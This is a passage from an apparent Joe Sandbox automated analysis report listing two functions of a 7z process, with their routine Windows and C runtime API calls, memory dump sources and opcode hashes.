                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A5818C72309A4086CB24DF2AD54479E77A1F7C8BA8F544215EF9E47B68EF38C951CB00
                                                                                                                                                                                                                                                                                    Function 00C9211C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00C92137
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C921BB
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C86618: FormatMessageW.KERNEL32 ref: 00C86676
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C86618: LocalFree.KERNEL32 ref: 00C86698
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8362C: memmove.MSVCRT ref: 00C83659
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C92182
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ErrorFormatFreeLastLocalMessagememmove
                                                                                                                                                                                                                                                                                    • String ID: :
                                                                                                                                                                                                                                                                                    • API String ID: 1743135865-3653984579
                                                                                                                                                                                                                                                                                    • Opcode ID: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
                                                                                                                                                                                                                                                                                    • Instruction ID: bfd3e1b572161b8c47727beec5a744aa65a2698de9bfeebcbb7d69abfd31feba
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7B01696330094091DA20FB29E84429E6721EBC5BF8F545335BE5E477B9EE28CA86C744
                                                                                                                                                                                                                                                                                    Function 00CAA034 Relevance: 5.1, APIs: 4, Instructions: 81COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1534225298-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
                                                                                                                                                                                                                                                                                    • Instruction ID: cea4ce99efc791b0347b39aa709114dce7b268ceb203805988a04427973f7ed1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5421F633201A8195DB15AF27EC5972E6754BB46B9CF2C8129EF6A0B380DF78CD45D312